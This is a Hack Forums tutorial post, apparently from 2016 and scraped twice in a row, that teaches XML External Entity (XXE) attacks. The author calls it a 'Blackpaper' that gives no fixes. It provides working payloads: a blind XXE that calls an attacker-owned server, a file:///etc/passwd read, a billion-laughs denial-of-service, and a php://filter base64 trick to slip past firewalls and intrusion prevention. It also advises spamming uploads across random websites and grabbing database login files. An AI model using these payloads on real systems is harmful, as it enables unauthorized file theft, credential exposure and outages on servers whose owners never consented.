Feb 22, 2016 03:45 AM
(This post was last modified: Mar 10, 2016 11:18 AM by Gee4rce.)
Placeholder
Placeholder
"The darker side of Metalanguage"
XXE – XML External Entity (Injection/Processing)
------------------------------------------------------------------------------------------
This is a Specialists Group Release for the Webhacking section of HF. Tutorial © by Gee4rce
![[Image: specialists.png]](https://hackforums.net/images/modern_bl/groupimages/english/specialists.png)
Spoiler (Click to View)
This is the first tutorial i write for HF, and also the first hacking tutorial i ever have written.
After many years of learning from the work of others who wrote tut's here, i thought it's time to give back.
I know this vulnerabilty was already covered in a tutorial by benzi, but he used a different method.
One should read both tutorials for a complete understanding of XXE. Link to benzi's tut: here.
(Let me know if i have missed somes tut, i may will add your's here).
>> Please report any errors or broken links you face via pm to me, thank you. <<
This is a "Blackpaper", thus i will not include ways on how to fix this shit.
Feel free to add in the comments sections, i may also add in future incase of re-editing.
If you read as newbie:
For many technical words, i have put a wiki link behind. So if you do not understand a highlighted word,
just click and you will be directed to the information. This ensures information flow when it's about to understand this tut.
0x00 - Opening words & index
Less known but with a huge impact... along comes XXE.
XXE is already known since years and thus not any new or revolutionary hacking method.
Yet though, one may think that this some rather new or unknown technique... and thats partially true.
Surprisingly, XXE didnt spread a lot in the past like for example SQL-Injections did.
Reasons for this may be that SQL-DB's for example are beeing used much more often than XML for holding data records.
At times where XXE was discovered and introduced, there was not a wide spread usage of XML.
Thus, XXE never got much famous and there was no real population of XXE it in the internet.
Times changed - today we rely more on XML Struktures and XML still is rising, for example when it comes to Smartphone apps.
In this Tutorial we will start with "Blind XXE", which usually doesn't sound like the method to start with,
as "XXE" only sounds more basic, and when it comes for example to SQL-Injections, the term "blind" makes us remember rather a more complicated abstraction of usual SQLi.
But i follow a special reason for why i choose "Blind XXE" first, and you will find out why.
0x00 - Opening Words & Index
0x01 - XML, DTD's and Entities
0x02 - What is XXE ?
0x03 - Exploiting 'Blind XXE' -> testing if application is vulnerable-> (SSRF)
0x04 - Exploiting 'XXE' -> the regular way -> (LFI)
0x05 - Exploiting 'XXE' -> with Denial of Service conditions -> (DoS)
0x06 - WAF bypassing and obfuscation example
0x07 - Closing words…
0x08 - Additional Links
0x01 - XML, DTD's and Entities
XML (Extensible Markup Language) is a Metalanguage, that allows bringing structure into Data records.
Similiar to HTML it makes usage of <tags></tags> to embedd Data into an appropiate shape.
Thus, XML can be used to exchange data, mostly as No-SQL analogue. The most applicable form is web based.
To make a data exchange possible, there is beeing made use of 'standards'. For better understanding of theese, imagine the following:
the client and server must speak the same 'language' or protocol to enable them to understand each other.
So when a chineese guy wants to talk to an english guy for example, both must follow a 'standard' in language,
which can either be chineese or english in their case. So when it comes to XML, such standards are beeing
defined by the DTD (Document Type Definitions)
DTD tells the XML Parser what language standard is beeing followed. We need to understand this,
as most likely XML Parsers check if a data record is formed correctly.
DTD that follows XML 1.0, also introduces the concept of 'Entities' which are needed to perform an XXE attack.
Theese are like placeholders or classes that stand for a predefined XML function which can be importet to make use of.
When it comes to XXE, the most interesting Entity there is the 'SYSTEM' Entity as it plays a major role
in the attack. The SYSTEM Entity allows us to request ressources- internal as well as of external nature!
More about 'XML Entities' and File inclusion here: Using Entities to Include Files
0x02 - What is XXE?
XXE stands for 'XML External Entity processing' and belongs into the Categorie of 'Injection Vulnerabilities'.
Basically you need to find an injection point in the Application, that expects user input in form of an XML request or XML data being provided, which will then be parsed by an XML Interpreter.
If a web based application is vulnerable to XXE, then it's mostly a case of misconfiguration, but for the standard XML parser of php i.e.,
the including of external ressources is enabled by default. Have we found a vulnerable place in the application, then we have our point of injection.
From here on, we need to define a payload, which can enable one of the following further vulnerabilities:
- Cross-Site-Scripting (XSS)
- Local File Inclusion (LFI)
- Denial of Service attacks (DoS)
- Server Side Request Forgery (SSRF)
- Remote command execution (RCE) … (but this is rather a rare case).
- [One who is interested in RCE via XXE, lookup about XXE with Java or gopher:// vulnerability in google search]
As we can see, XXE can serve as major base for further attacks and enables the attacker to open up other vulnerabilities, like the listed ones above.
0x03 – Blind XXE
If you compare the term 'Blind' with 'Blind SQL Injection' attacks, then you may think that 'Blind XXE' is a more complicated technique than basic XXE.
But thats not the case. Though we dont have a visual output in our webbrowser when performing BlindXXE, BlindXXE is still perfect for a first testing
as we can try for a simple SSRF ('Server Side Request Forgery'). If this is successful, then we know the following:
- the target is parsing external XML input
- the target is configured to check for DTD
- the SYSTEM Entity is acting within the DTD and it allows to include external ressources (most likely then it also allows internal includes).
- the target is vulnerable to XXE
So again, the term blind for XXE means that we do not get visual output in the Browser, as a result if attack was successfull or not.
For XXE, most common is the injection via file upload, but it can vary as injections via GET or POST Request (like in benzi's tut),
or even HTTP Header injections are also posible. For our example, i've choosed the file upload example.
![[Image: yLKfzpL.png]](https://i.imgur.com/yLKfzpL.png)
Have we found a website that accepts .xml files as upload (for example a compromised adminpanel),
we then create a file with the following content, using our favorite text editor:
With <?xml version="1.0"?>, we define the DTD and make use of the SYSTEM Entity to call an external URL,
which points to a server that we own. Note that this technique involves 2 servers here, the one we own, and the target server- we need both. So next, we prepare our server like this:
![[Image: Sb5cEQY.png]](https://i.imgur.com/Sb5cEQY.png)
What i have used there is a simple installation of apache Webserver on linux, which after our preperation is now listening to the 'access.log' file
and filters out any GET request that reaches our server and consists of the following pattern:
'xxe-ident'.
You can modify this pattern individually, but it must be unique in your access.log file as by this we identify if our attack was successful or not.
It is not even necessary that this path exists, we only wan't to log if our target calls this URL or not.
Now we upload our prepared file on the target server while we also watch the console which is listening to the acces.log file on our own server.
If a website is vulnerable, then we will see the following entry appearing seconds after file upload there, and by this our attack was successful:
![[Image: qDUiBlL.png]](https://i.imgur.com/qDUiBlL.png)
Now we know that the target server is vulnerable to XXE, and since we have forced him to call an external URL,
it means that he is also vulnerable to SSRF, which in our case was executed through an XXE attack.
Sidenote:
So why i introduced BlindXXE first? Simply because it's more "stealth".
It does not necessarily raise the attention of a sysadmin, if the URL you call is not to weird. You could even call an image,
which would make it not even look close to something harmfull. Next thing, you can spam upload this at different websites and
just wait until one server hits a URL call to your access.log, then you can better test with a higher load of injections. Also,
some pages may block including of directories like "/etc/...", thus a test there would fail and since we dont get output, we might think
the target is not vulnerable and move on, while it actually was vulnerable and we just missed it. BlindXXE has a higher chance to success,
so i personally prefer this for first testing.
Sometimes (the other way round) BlindXXE may fail, incase the target server has disallowed the inclusion of external ressources,
while internal ressources are still beeing enabled for inclusion. But the situation that external ressources are disabled is more likely rare.
0x04 – Regular XXE (to LFI)
After we successfully called an external URL via the SYSTEM Entity, we will next try to include a local file/ressource. Our payload for that now looks like this:
The file descriptor 'file://' tells the XML parser to look for a locale path.
For this case we require a visual output of the parsed XML in the web browser. It's not always the case that we can get visual output, but often.
Have we uploaded the file with our new payload, we should see the following output on the target website:
![[Image: gB8oeyA.png]](https://i.imgur.com/gB8oeyA.png)
If this is the case, then we have successfully performed an XXE attack which lead us to 'Local File Inclusion'.
Anyways, with the LFI enabled through our XXE attack, we now have the option to escalate to further attacks.
For example we can try to fetch the content of php.ini, httpd.conf or the file that carries
the SQL-DB login data (implying we have one there).
0x05 – Denial of Service with XXE (local DoS)
Yes, with XXE we can also perform DoS attacks, limited to the target server (local).
When doing this, we need to encapsulate entities, so that the server has to extract each entity again when parsing. The payload would look like this:
This bascially tells the XML Interpreter to unpack 'hax9', which extracts to 10x 'hax8'.
Theese 10x 'hax8' will unpack again to 10x 'hax7', and so forth. With that, the dataload on the server raises antiproportional and eats up memory on our target server.
Note that only the unpacking of hax9 and hax8 already produced 100 different entities, which again inlcude dozends of entities with sub entities.
0x06 – XXE: WAF bypass and obfuscation example
I know this has already been covered by benzi with his XXE tutorial, but i'll list it here again incase some guys missed it.
Sometimes we face resistance when trying to overtake a target, for example a WAF (Webapplication Firewall) or an IPS (Intrusion Prevention System).
Theese would probably block or break the output of the following payload:
...a possible pattern that triggers a Firewall or IPS will eventually be the call for path '/etc/passwd', which occurs in our request we send to the target,
or it may even be the content of 'passwd' in the Servers HTTP response. So our job is to obfuscate the things that hints the security systems to an ongoing attack.
Therefore, we should aim to clean anything from our payload that not looks like regular XML stuff. We do this by using 'php://filter' function
to influence the I/O Stream. Ofc this requires php to be installed on the target webserver, but php is wide-spread, so chances are good.
The following method will take the desired file and base64 encode the content before the server serves it to us:
By base64 encoding, we took care of that the HTTP response does not contain any suspicious stuff, and if we was successful then our ouput should look like this:
![[Image: rM7ptIO.png]](https://i.imgur.com/rM7ptIO.png)
There we have the file content of passwd, so we just need to take it and decode back from base64 to normal text again.
continuation in next post ->
...
Placeholder
Placeholder
Placeholder
"The darker side of Metalanguage"
XXE – XML External Entity (Injection/Processing)
------------------------------------------------------------------------------------------
This is a Specialists Group Release for the Webhacking section of HF. Tutorial © by Gee4rce
![[Image: specialists.png]](https://hackforums.net/images/modern_bl/groupimages/english/specialists.png)
Spoiler (Click to View)
This is the first tutorial i write for HF, and also the first hacking tutorial i ever have written.
After many years of learning from the work of others who wrote tut's here, i thought it's time to give back.
I know this vulnerabilty was already covered in a tutorial by benzi, but he used a different method.
One should read both tutorials for a complete understanding of XXE. Link to benzi's tut: here.
(Let me know if i have missed somes tut, i may will add your's here).
>> Please report any errors or broken links you face via pm to me, thank you. <<
This is a "Blackpaper", thus i will not include ways on how to fix this shit.
Feel free to add in the comments sections, i may also add in future incase of re-editing.
If you read as newbie:
For many technical words, i have put a wiki link behind. So if you do not understand a highlighted word,
just click and you will be directed to the information. This ensures information flow when it's about to understand this tut.
0x00 - Opening words & index
Less known but with a huge impact... along comes XXE.
XXE is already known since years and thus not any new or revolutionary hacking method.
Yet though, one may think that this some rather new or unknown technique... and thats partially true.
Surprisingly, XXE didnt spread a lot in the past like for example SQL-Injections did.
Reasons for this may be that SQL-DB's for example are beeing used much more often than XML for holding data records.
At times where XXE was discovered and introduced, there was not a wide spread usage of XML.
Thus, XXE never got much famous and there was no real population of XXE it in the internet.
Times changed - today we rely more on XML Struktures and XML still is rising, for example when it comes to Smartphone apps.
In this Tutorial we will start with "Blind XXE", which usually doesn't sound like the method to start with,
as "XXE" only sounds more basic, and when it comes for example to SQL-Injections, the term "blind" makes us remember rather a more complicated abstraction of usual SQLi.
But i follow a special reason for why i choose "Blind XXE" first, and you will find out why.
0x00 - Opening Words & Index
0x01 - XML, DTD's and Entities
0x02 - What is XXE ?
0x03 - Exploiting 'Blind XXE' -> testing if application is vulnerable-> (SSRF)
0x04 - Exploiting 'XXE' -> the regular way -> (LFI)
0x05 - Exploiting 'XXE' -> with Denial of Service conditions -> (DoS)
0x06 - WAF bypassing and obfuscation example
0x07 - Closing words…
0x08 - Additional Links
0x01 - XML, DTD's and Entities
XML (Extensible Markup Language) is a Metalanguage, that allows bringing structure into Data records.
Similiar to HTML it makes usage of <tags></tags> to embedd Data into an appropiate shape.
Thus, XML can be used to exchange data, mostly as No-SQL analogue. The most applicable form is web based.
To make a data exchange possible, there is beeing made use of 'standards'. For better understanding of theese, imagine the following:
the client and server must speak the same 'language' or protocol to enable them to understand each other.
So when a chineese guy wants to talk to an english guy for example, both must follow a 'standard' in language,
which can either be chineese or english in their case. So when it comes to XML, such standards are beeing
defined by the DTD (Document Type Definitions)
DTD tells the XML Parser what language standard is beeing followed. We need to understand this,
as most likely XML Parsers check if a data record is formed correctly.
DTD that follows XML 1.0, also introduces the concept of 'Entities' which are needed to perform an XXE attack.
Theese are like placeholders or classes that stand for a predefined XML function which can be importet to make use of.
When it comes to XXE, the most interesting Entity there is the 'SYSTEM' Entity as it plays a major role
in the attack. The SYSTEM Entity allows us to request ressources- internal as well as of external nature!
More about 'XML Entities' and File inclusion here: Using Entities to Include Files
0x02 - What is XXE?
XXE stands for 'XML External Entity processing' and belongs into the Categorie of 'Injection Vulnerabilities'.
Basically you need to find an injection point in the Application, that expects user input in form of an XML request or XML data being provided, which will then be parsed by an XML Interpreter.
If a web based application is vulnerable to XXE, then it's mostly a case of misconfiguration, but for the standard XML parser of php i.e.,
the including of external ressources is enabled by default. Have we found a vulnerable place in the application, then we have our point of injection.
From here on, we need to define a payload, which can enable one of the following further vulnerabilities:
- Cross-Site-Scripting (XSS)
- Local File Inclusion (LFI)
- Denial of Service attacks (DoS)
- Server Side Request Forgery (SSRF)
- Remote command execution (RCE) … (but this is rather a rare case).
- [One who is interested in RCE via XXE, lookup about XXE with Java or gopher:// vulnerability in google search]
As we can see, XXE can serve as major base for further attacks and enables the attacker to open up other vulnerabilities, like the listed ones above.
Quote:Quicktip:
According to 'OWASP Top Ten 2013', injection vulnerabilities still rank number one
on the list, in terms of population and danger.
0x03 – Blind XXE
If you compare the term 'Blind' with 'Blind SQL Injection' attacks, then you may think that 'Blind XXE' is a more complicated technique than basic XXE.
But thats not the case. Though we dont have a visual output in our webbrowser when performing BlindXXE, BlindXXE is still perfect for a first testing
as we can try for a simple SSRF ('Server Side Request Forgery'). If this is successful, then we know the following:
- the target is parsing external XML input
- the target is configured to check for DTD
- the SYSTEM Entity is acting within the DTD and it allows to include external ressources (most likely then it also allows internal includes).
- the target is vulnerable to XXE
So again, the term blind for XXE means that we do not get visual output in the Browser, as a result if attack was successfull or not.
For XXE, most common is the injection via file upload, but it can vary as injections via GET or POST Request (like in benzi's tut),
or even HTTP Header injections are also posible. For our example, i've choosed the file upload example.
![[Image: yLKfzpL.png]](https://i.imgur.com/yLKfzpL.png)
Have we found a website that accepts .xml files as upload (for example a compromised adminpanel),
we then create a file with the following content, using our favorite text editor:
Code
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY hax SYSTEM "http://www.your-server-here.com/hax/xxe-ident">]><test><testing>&hax;</testing></test>With <?xml version="1.0"?>, we define the DTD and make use of the SYSTEM Entity to call an external URL,
which points to a server that we own. Note that this technique involves 2 servers here, the one we own, and the target server- we need both. So next, we prepare our server like this:
![[Image: Sb5cEQY.png]](https://i.imgur.com/Sb5cEQY.png)
What i have used there is a simple installation of apache Webserver on linux, which after our preperation is now listening to the 'access.log' file
and filters out any GET request that reaches our server and consists of the following pattern:
'xxe-ident'.
You can modify this pattern individually, but it must be unique in your access.log file as by this we identify if our attack was successful or not.
It is not even necessary that this path exists, we only wan't to log if our target calls this URL or not.
Now we upload our prepared file on the target server while we also watch the console which is listening to the acces.log file on our own server.
If a website is vulnerable, then we will see the following entry appearing seconds after file upload there, and by this our attack was successful:
![[Image: qDUiBlL.png]](https://i.imgur.com/qDUiBlL.png)
Now we know that the target server is vulnerable to XXE, and since we have forced him to call an external URL,
it means that he is also vulnerable to SSRF, which in our case was executed through an XXE attack.
Quote:Quicktip:
Not only .xml files are usefull for XXE, there are other file formats which also consist fully or partially of XML, i.e. we have .csv, .gpx, .docx, .pdf, etc...
But for theese files the embedding of a payload is different as there are more restrictions about document structure to bypass.
Sidenote:
So why i introduced BlindXXE first? Simply because it's more "stealth".
It does not necessarily raise the attention of a sysadmin, if the URL you call is not to weird. You could even call an image,
which would make it not even look close to something harmfull. Next thing, you can spam upload this at different websites and
just wait until one server hits a URL call to your access.log, then you can better test with a higher load of injections. Also,
some pages may block including of directories like "/etc/...", thus a test there would fail and since we dont get output, we might think
the target is not vulnerable and move on, while it actually was vulnerable and we just missed it. BlindXXE has a higher chance to success,
so i personally prefer this for first testing.
Sometimes (the other way round) BlindXXE may fail, incase the target server has disallowed the inclusion of external ressources,
while internal ressources are still beeing enabled for inclusion. But the situation that external ressources are disabled is more likely rare.
0x04 – Regular XXE (to LFI)
After we successfully called an external URL via the SYSTEM Entity, we will next try to include a local file/ressource. Our payload for that now looks like this:
Code
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><test><xxe>&xxe;</xxe></test>The file descriptor 'file://' tells the XML parser to look for a locale path.
For this case we require a visual output of the parsed XML in the web browser. It's not always the case that we can get visual output, but often.
Have we uploaded the file with our new payload, we should see the following output on the target website:
![[Image: gB8oeyA.png]](https://i.imgur.com/gB8oeyA.png)
If this is the case, then we have successfully performed an XXE attack which lead us to 'Local File Inclusion'.
Anyways, with the LFI enabled through our XXE attack, we now have the option to escalate to further attacks.
For example we can try to fetch the content of php.ini, httpd.conf or the file that carries
the SQL-DB login data (implying we have one there).
0x05 – Denial of Service with XXE (local DoS)
Yes, with XXE we can also perform DoS attacks, limited to the target server (local).
When doing this, we need to encapsulate entities, so that the server has to extract each entity again when parsing. The payload would look like this:
Code
<?xml version="1.0"?>
<!DOCTYPE hello [
<!ENTITY hax1 "hax">
<!ENTITY hax2 "&hax1;&hax1;&hax1;&hax1;&hax1;&hax1;&hax1;&hax1;&hax1;&hax1;">
<!ENTITY hax3 "&hax2;&hax2;&hax2;&hax2;&hax2;&hax2;&hax2;&hax2;&hax2;&hax2;">
<!ENTITY hax4 "&hax3;&hax3;&hax3;&hax3;&hax3;&hax3;&hax3;&hax3;&hax3;&hax3;">
<!ENTITY hax5 "&hax4;&hax4;&hax4;&hax4;&hax4;&hax4;&hax4;&hax4;&hax4;&hax4;">
<!ENTITY hax6 "&hax5;&hax5;&hax5;&hax5;&hax5;&hax5;&hax5;&hax5;&hax5;&hax5;">
<!ENTITY hax7 "&hax6;&hax6;&hax6;&hax6;&hax6;&hax6;&hax6;&hax6;&hax6;&hax6;">
<!ENTITY hax8 "&hax7;&hax7;&hax7;&hax7;&hax7;&hax7;&hax7;&hax7;&hax7;&hax7;">
<!ENTITY hax9 "&hax8;&hax8;&hax8;&hax8;&hax8;&hax8;&hax8;&hax8;&hax8;&hax8;">
]>
<hello>&hax9;</hello>This bascially tells the XML Interpreter to unpack 'hax9', which extracts to 10x 'hax8'.
Theese 10x 'hax8' will unpack again to 10x 'hax7', and so forth. With that, the dataload on the server raises antiproportional and eats up memory on our target server.
Note that only the unpacking of hax9 and hax8 already produced 100 different entities, which again inlcude dozends of entities with sub entities.
0x06 – XXE: WAF bypass and obfuscation example
I know this has already been covered by benzi with his XXE tutorial, but i'll list it here again incase some guys missed it.
Sometimes we face resistance when trying to overtake a target, for example a WAF (Webapplication Firewall) or an IPS (Intrusion Prevention System).
Theese would probably block or break the output of the following payload:
Code
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><test><xxe>&xxe;</xxe></test>...a possible pattern that triggers a Firewall or IPS will eventually be the call for path '/etc/passwd', which occurs in our request we send to the target,
or it may even be the content of 'passwd' in the Servers HTTP response. So our job is to obfuscate the things that hints the security systems to an ongoing attack.
Therefore, we should aim to clean anything from our payload that not looks like regular XML stuff. We do this by using 'php://filter' function
to influence the I/O Stream. Ofc this requires php to be installed on the target webserver, but php is wide-spread, so chances are good.
The following method will take the desired file and base64 encode the content before the server serves it to us:
Code
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/etc/passwd'>]><test><xxe>&xxe;</xxe></test>By base64 encoding, we took care of that the HTTP response does not contain any suspicious stuff, and if we was successful then our ouput should look like this:
![[Image: rM7ptIO.png]](https://i.imgur.com/rM7ptIO.png)
There we have the file content of passwd, so we just need to take it and decode back from base64 to normal text again.
continuation in next post ->
...
Placeholder
Placeholder
Got time? Read something:
[TUT] XXE - The Darker Side of Metalanguage
Pornhub.com - Persistant [XSS](core Domain)
twitter: @haxel0rd
[TUT] XXE - The Darker Side of Metalanguage
Pornhub.com - Persistant [XSS](core Domain)
twitter: @haxel0rd



![[Image: LWpI0zO.png]](https://i.imgur.com/LWpI0zO.png)

![[Image: N43q1sy.png]](https://i.imgur.com/N43q1sy.png)